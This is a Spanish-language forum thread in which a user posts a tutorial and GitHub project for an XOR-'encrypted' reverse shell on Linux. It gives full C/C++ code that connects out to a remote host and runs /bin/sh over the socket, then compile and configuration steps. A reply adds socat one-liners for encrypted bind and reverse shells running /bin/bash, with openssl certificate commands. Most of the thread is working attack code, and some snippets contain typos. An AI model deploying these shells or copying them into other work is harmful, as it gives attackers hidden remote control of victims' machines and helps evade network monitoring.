Shell Inversa "Cifrada"

Iniciado por d3adly, Junio 03, 2020, 12:18:09 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 03, 2020, 12:18:09 AM Ultima modificación: Junio 03, 2020, 03:26:18 AM por d3adly
Hola comunidad les comparto un proyecto en el cual he estado trabajando, si no es la sección correcta del foro pido disculpas.
Inicialmente el proyecto esta dirijido a sistemas Linux, aunque pienso hacer una segunda parte para Windows.

Primero lo basico, una shell inversa normal en linux se realiza normalmente despues creada la conexión con el servidor lo siguiente:
fork       No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - mas adelante se vera aplicado
dup2     No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
execve No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

fork: Realiza una copia excata del proceso que lo llamo, a diferencia que la copia posee su propio identificador de proceso (Process ID).
dup2: Los parametros de esta funcion son 2 dup2(int oldfd, int newfd), esta función hace que el descriptor de archivo newfd sea una copia de oldf.
execve: Recibe tres parametros execve(const char *filename, char *const argv[],char *const envp[]), siendo el primero el archivo a ejecutar, char *const argv[] los argumentos que se le pasan al ejecutable en cuestion, y char *const envp[] las variables de entorno, esta función remplaza los segmentos de datos:
Text,Data, Bss y el Stack del proceso el cual llama la funcion. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Habiendo cubierto lo basico de estas funciones aqui un ejemplo de una shell inversa normal:
Código: c

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 1337

int main(int argc, char *argv[])
{
    struct sockaddr_in server;
    int socket;

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    server.sin_port = htons(REMOTE_PORT);

    socket = socket(AF_INET, SOCK_STREAM, 0);
    connect(socket, (struct sockaddr *)&server, sizeof(server));
    dup2(socket, 0);
    dup2(socket, 1);
    dup2(socket, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}


Justo en la linea 21 despues de haberse conectado con el servidor, miramos tres llamadas a la funcion dup2 antes descrita. Realiza una copia del socket a tres descriptores de archivo distintos: 0 1 y 2 que son:
0: stdin    - Standard Input:      Es el descriptor de archivo por el cual el proceso lee la información ingresada por el usuario.
1: stdout - Standard Output:  Descriptor usado por el proceso para mostrar información al usuario.
2: stderr  - Standard Error:      Usado por el proceso para escribir información sobre errores.
Luego de esas tres llamadas, cada operación realizada en alguno de estos tres descriptores de archivo sera atravez del socket, lo que reciba el socket sera escrito directamente a stdin, y todo lo que salga de stdout y stderr sera escrito al socket.

Despues se llama a la funcion execve, la cual remplaza la imagen del programa en memoria y ejecuta el binario /bin/sh, ahora cada dato que reciba el socket se escribira en el descriptor de archivo stdin, que a su vez recibira el nuevo programa ejecutado, y toda modificación a los descriptores de archivos stdout/stderr seran escritas al socket gracias a las llamadas de la funcion dup2. Solo tocaria escuchar en el puerto especificado y se recibe una shell inversa:
Código: php
$ nclokita -lp PUERTO
.

Hasta aqui todo bien, aunque toda la informacion que se intercambia viaja en texto plano, y si queremos aplicar un tipo de "cifrado" la cuestion en si es manipular los datos antes de ser enviados y recibidos, y aqui entran en juegos los pipes (tuberias).
Los pipes vienen bien a la hora de comunicacion entre procesos. Un ejemplo sencillo seria:
Código: php
$ cat file.txt | wc -l 

El resultado del comando anterior mostraria la cantidad de lineas que contiene el archivo file.txt, nota el | en medio de de file.txt y wc, esto indica al comando cat que todo lo que vaya a escribir a stdout lo redirija a el stdin de wc.

Ahora el funcionamiento de la shell inversa "cifrada" una vez conectada al servidor y ejecutado el programa debe ser el siguiente:

  • Leer datos del socket
  • Descifrar los datos
  • Escribir la informacion al stdin del programa
  • Leer del stdout/stderr la salida del comando antes ejecutado
  • Cifrar los datos leidos
  • Escribir los datos cifrados al socket
Ahora para lograr manipular los datos antes de escribir o leer al programa se hace el uso de pipes antes lijeramente explicados, haciendo uso de la funcion pipe No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Un pipe tiene dos partes

  • Punto de lectura READ-END
  • Punto de escritura WRITE-END
                             

Y observando el ejemplo que nos provee No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, podemos observar el uso de fork junto con pipe para crear una copia del programa y realizar una comunicacion entre los dos, escribiendo en un extremo del pipe y leyendo del otro extremo. Aplicando este metodo podemos manipular los datos antes de ser enviados o recibidos atravez del socket.

Asumiendo que la conexión con el servidor ya esta realizada, pasemos a ver como implementar nuestra función para leer y escribir del programa ejecutado.
Primero creamos dos pipes uno que servira de escritura y el otro de lectura,
nota: los siguientes codigos no tienen comprobación de errores, y estan escritos asi para una demostracion
Código: cpp

int InPipe[2];
int OutPipe[2];
pipe(InPipe);
pipe(OutPipe)
//Si hay error las funciones retornan -1

Una vez creadas las tuberias se procede a realizar un fork, para asi realizar una copia del programa en memoria el cual procederemos a remplazar con un ejecutable, en este caso /bin/sh
Código: cpp

pid_t pid = fork();
if(pid == 0){
   //Este es el hijo (child) del proceso que se esta ejecutando
   //el cual a su vez es una copia exacta del proceso excepto el Process ID
} else if(pid > 0) {
   //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
} else {
   //Si fork no es >= 0 entonces la llamada fallo
}


Ahora en la seccion del proceso hijo realizaremos lo siguiente:
Código: cpp

//Copiamos a stdin el extremo READ-END de InPipe
dup2(InPipe[0], 0);

//Copiamos a stdout el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 1);

//Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 2);

Con esto logramos que cualquier lectura/escritura realizada a los descriptores de fichero stdin/stdout/stderr, sean atravez de los pipes respectivamente:

  • Escribiendo a InPipe[1] lo leera el otro extremo InPipe[0] que ahora esta en stdin
  • Leemos de stdout/stderr atravez de OutPipe[0]
Continuando la seccion del proceso hijo:
Código: cpp

//Se llama la funcion execve con los parametros deseados
//Si quisieramos pasar argumentos al programa se hacen en el array arg
//Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
char *arg[] = {nullptr};
char *env[] = {nullptr};
//Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
execve("/bin/sh", arg, env);
exit(0);


Ahora en la seccion del proceso padre crearemos un thread (hilo) para leer el stdout del programa antes ejecutado, cabe mencionar que esta parte se puede implementar junto a otro fork y uniendo dos pipes, pero en este ejemplo lo realizaremos usando threads
Código: cpp

//Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0]
//el cual es el extremo que lee del proceso antes ejecutado
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      //escribimos al extremo WRITE-END de InPipe
      write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
   }
}
th1.join();

Luego la funcion LeerStdout:
Código: cpp

void LeerStdout(int Pipe){
   chad CmdBuffer[256];
   int iRet = 0, iRet2 = 0;
   while(1){
      //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
      iRet = read(Pipe, &CmdBuffer, 255);
      //Enviamos los datos leidos de stdout/stderr al servidor
      iRet2 = send(Socket, CmdBufer, iRet);
   }
}

Con esto se concluye el codigo basico sin "cifrar" del cliente esto vendria a ser similar al primer ejemplo de arriba. Pero ahora podemos manipular los datos a nuestro antojo aplicando asi un metodo de encriptación a la información para que esta no viaje en texto plano. En el ejemplo usare XOR, pero con esta base se puede implementar el algoritmo deseado. El codigo de ejemplo se modificaria asi:
Código: cpp

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}

El codigo del proceso padre:
Código: cpp

std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos cifrados del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
      //Ahora descifrado contiene el comando descifrado que envio el servidor
      //escribimos al extremo WRITE-END de InPipe el contenido descifrado
      write(InPipe[1], Descifrado.c_str(), Descifrado.length());
   }
}
th1.join();

El codigo de la funcion que lee el stdout/stderr del proceso hijo:
Código: cpp

void LeerStdout(int Pipe){
   chad CmdBuffer[256];   
   int iRet = 0, iRet2 = 0;
    while(1){
       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
       iRet = read(Pipe, &CmdBuffer, 255);
       std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
       //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
       //Enviamos los datos cifrados leidos de stdout/stderr al servidor
       iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length());
    }
}


Esa seria la implementación de pipes junto con fork y execve para obetener una shell inversa "cifrada". Les dejo mi proyecto en github No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora un mini tutorial usando mi codigo de github  ;D:
Clonar repo
Código: php
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git


Abrir el archivo Client.cpp y modificar el valor de la variable strPassword dentro de la clase Client con una clave deseada.
Luego modificar la funcion main con la ip y puerto hacia los cuales se conectara el cliente.
Código: cpp

Cli->Connect("IP", "PUERTO")

Abrir el archivo Server.cpp y modificar la funcion main cambiando el puerto de esucha y clave a usar en la comunicación
Código: cpp

Server *Srv = new Server(1337, "aiiiuuudaaaaa");

Y compilar con:
Código: php
g++ -Wall -Wextra Client.cpp -o Client -pthread

Código: php
g++ -Wall -Wextra Server.cpp -o Server -pthread

Eso es todo espero hayan aprendido algo nuevo y le den un buen uso.

Saludos.
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Uhh muy buen post compañero, sigue asì  :D :D

Saludos!
-Kirari

Gracias @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  ;D
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn

Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.

Shell directa:
Código: php

socat OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt EXEC:/bin/bash

Código: php

socat stdio OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0


Shell inversa:
Código: php

socat OPENSSL:IP:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt,verify=0  EXEC:/bin/bash

Código: php

socat stdio OPENSSL-LISTEN:54473,cert=/tmp/mykey.pem,cafile=/tmp/mykey.crt


El certificado se puede hacer con openssl:

Código: php

openssl genrsa -out /tmp/mykey.key 1024
openssl req -new -key /tmp/mykey.key -x509 -days 3653 -out /tmp/mykey.crt

cat /tmp/mykey.key /tmp/mykey.crt > /tmp/key.pem

Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro.

Excelente @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, muy buenos post's, y como siempre, son un placer leerlos  8)

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Simplemente como contenido adicional, para casos en los que se desee hacerlo de forma muy simple sin tener que desarrollar nada. Las shells remotas cifradas se pueden hacer via socat. De hecho socat bajo mi punto de vista es muchísimo mas versatil que nc para muchas cosas.
Gracias por la informacion @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Excelente @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, muy buenos post's, y como siempre, son un placer leerlos  8)
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Me alegra que te gusten .
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn